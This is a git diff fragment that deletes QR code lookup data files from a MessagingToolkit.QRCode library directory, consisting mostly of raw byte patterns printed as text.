00112233TTUUVVWW\\[[ZZYY..--,,++--..//00[[\\]]^^SRRQQPON*))((''&$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjj??>>==<<!!""##$$JJKKQQRR_^^]]\\[87654332 <<==>>??``aabbccUUTTSSRR1100//..ddccbbaa@@??>>====>>??@@aabbccddJJIIHHGG!!!!GGHHIIJJbaa``__^;;::9987@@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggGGFFEEDDBBCCDDEEiihgfedc@@??>>==44556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[XXWWVVUU**))(('' - - 11223399__``aabbMLKKJJII&%%$$##"(())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiiccbbaa;;::9933 - -%%&&''((SSTTUUVV[ZZYYXXW21100//. - - @@AABBCCddeeffggQQPPOONN--,,++**``__^^]]<<;;::99 AABBCCDDeeffgghhFFEEDDCC""##$$%%KKQQRRSS^]]\\[[Z65433221 !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkCCBBAA@@FFGGHHIIcbbaa``_<<;;::998899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__TTSSRRQQ&&%%$$## ::;;<<==cciijjkkHHGGFFEE"!!  - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSS``__^^]]221100// ))**++,,WWXXYYZZWVVUUTTS.--,,++* !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&&\\[[ZZYY88776655!!""##$$EEFFGGHHiijjkkllBBAA@@??&&''(())TTUUVVWWZYYXXWWV100//..- - - $$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjj??>>==<<!!""##$$JJKKQQRR_^^]]\\[87654332 <<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccKKJJIIHH""!!>>??@@AAllllkkjjDDCCBBAA 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWW\\[[ZZYY..--,,++--..//00[[\\]]^^SRRQQPON*))((''&$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""XXWWVVUU44332211 %%&&''((IIJJKKLLllkkjjii>>==<<;; **++,,--XXYYZZ[[VUUTTSSR-,,++**)(())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiiccbbaa;;::9933 - -%%&&''((SSTTUUVV[ZZYYXXW21100//. - - @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggGGFFEEDDBBCCDDEEiihgfedc@@??>>==44556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[XXWWVVUU**))(('' - - 11223399__``aabbMLKKJJII&%%$$##"(())**++LLMMNNOOiihhggffEEDDCCBB!!  - -TTSSRRQQ00//..-- - - ))**++,,MMNNOOPPccbbaa``::993322 - - ..//0011\\]]^^__RQQPONML)((''&&% - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSS``__^^]]221100// ))**++,,WWXXYYZZWVVUUTTS.--,,++* !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkCCBBAA@@FFGGHHIIcbbaa``_<<;;::998899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__TTSSRRQQ&&%%$$## ::;;<<==cciijjkkHHGGFFEE"!!  - - ,,--..//PPQQRRSSeeddccbbAA@@??>> PPOONNMM,,++**)) - - --..//00QQRRSSTT__^^]]\\1100//.. - - 223399::``aabbccKKJJIIHH%$$##""! 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWW\\[[ZZYY..--,,++--..//00[[\\]]^^SRRQQPON*))((''&$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjj??>>==<<!!""##$$JJKKQQRR_^^]]\\[87654332 <<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccKKJJIIHH""!!>>??@@AAllllkkjjDDCCBBAA 00112233TTUUVVWWaa``__^^==<<;;::LLKKJJII((''&&%% 11223344UUVVWWXX[[ZZYYXX--,,++** ;;<<==>>iijjkkllGGFFEEDD! 44556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[XXWWVVUU**))(('' - - 11223399__``aabbMLKKJJII&%%$$##"(())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiiccbbaa;;::9933 - -%%&&''((SSTTUUVV[ZZYYXXW21100//. - - @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggGGFFEEDDBBCCDDEEiihgfedc@@??>>==44556677XXYYZZ[[]]\\[[ZZ99887766(())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOiihhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^33221100 - - - -00112233^^__``aaAA@@??>><<==>>?? - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ//..--,, 99::;;<>??@@]]\\[[ZZ99887766 !!""##DDEEFFGG44556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR''&&%%$$AABBCCDDYYXXWWVV55443322$$%%&&''HHIIJJKK8899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__QQKKJJII##""!!EEFFGGHHUUTTSSRR1100//.. - -(())**++LLMMNNOO<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccHHGGFFEE!!""##IIJJKKQQQQPPOONN--,,++** - - ,,--..//PPQQRRSS@@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggQQPPOONN--,,++** @@AABBCCddeeffggDDCCBBAA$$%%&&''RRSSTTUUMMLLKKJJ))((''&& 00112233TTUUVVWW !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkk@@??>>==(())**++VVWWXXYYIIHHGGFF%%$$##""44556677XXYYZZ[[$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllllkkjjIIHHGGFF%%$$##""$$%%&&''HHIIJJKKllddccbb<<;;::99 ,,--..//ZZ[[\\]]EEDDCCBB!! 8899::;;\\]]^^__``aabdQZ|bdQZ|bdQZ|H~fH~fH~f`JXQrے`JtArdlJtArnXv`~HfvnXZp˂Zp˂Zp˂tAJltAJltAJlf`vXf`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`fHےbHAےbHAےbHA|dr|dr|dtAfH~fH~fH~ZHAb˂pZHAb㉀ۑpZQXb㉀f۝`vf۝`vrQtJlrQtJlrQtJlf`vXf`vXf`vXے`Jے`Jے`JXQ|ZdQ|ZdQ|ZdQHfpvHfpvfpvZp˂Zp˂Zp˂tAJltAJlJltf`vXf`vXf`vXے`JXQbے`JAHr󙐒ۑpJAHXnv˅Xnv˒tbAdtbAdtbAdnvpnvpnr˂XQr˂XQr˂rbtbtlbtlbnXvnXvnXvnrXQJrXQJ`rXQJ`rbdQZtbdQZtbdQZbnvnvpnvpnے`Jr˂pJXQrˁ`ZQXr󙐂ˁ`pfH~pfH~Z|dZ|dZ|drQtefghijkllkjihgf \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_2.dat deleted file mode 100644 index 50e0b3e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_3.dat deleted file mode 100644 index b073443..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_0.dat deleted file mode 100644 index fdae762..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_1.dat deleted file mode 100644 index fce059e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_1.dat +++ /dev/null @@ -1,225 +0,0 @@ -popopopopopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijighghghggghghghghfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPOMNMNMNMNMNMNMNMNLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656543434343434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            popopopopopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijigggghghgghghghghfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbababababababababa`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPONMNMNMMNMNMNMNMNMNMNMNLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565654333333443434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            popopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghgghghggggfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMMMMMNMMNMNMNMMMNMNMNMNLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565653434343443434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            popopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghggghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcbababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMMMMMNMNMMNMNMNMNLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565653434343433333434434343332121212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            popopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMMNMNMMMMLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:98787878787878787656565656565656534343434343434343343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            popopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijiggggghghhghghghghghghghgfefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMMMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:98787878787878787656565656565656534343434343434344321212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!         popopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijighghghghhghghggghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:98787878787878787878787656565656565656534343434343434342121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        popopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijighghghghggghghghhghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOMMMMMNMNNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878787878787656565656565656533333343343434342121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!           popopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijighghghghghghghgheeeeeefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNNMNMNMMMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9878787878787878787656565656565656565656543434343343434332121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            popopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijighghghghghghghghfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOMNMNMNMNMMMNMNMNLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343333343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!                       - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - -             - - - - - - - -             - - - - - - - - - - -             - - - - - - - - - - - -          - - - - - - - - - - - -         - - - - - - - - - - - - ppoonnmmHHGGFFEE AABBCCDDiijjkkllFFEEDDCC**++,,--\\]]^^__VUUTTSSR)((''&&% 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBBBBCCDDEEmmggffee;;::9933 ())**++,UVVWWXXYaa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[\\[[ZZYY**))(('' >>??@@AAppppoonnDDCCBBAA<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;:: JJKKLLMM``__^^]]..--,,++ 01122334]^^__``allkkjjiiDDCCBBAA EEFFGGHHmmnnooppBBAA@@?? ..//0011``aabbccQPONMMLL%$$##""!8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>FFGGHHIIddccbbaa221100//,--..//0YZZ[[\\]]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__XXWWVVUU&&%%$$##BBCCDDEEmmlkjihg@@??>>==@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 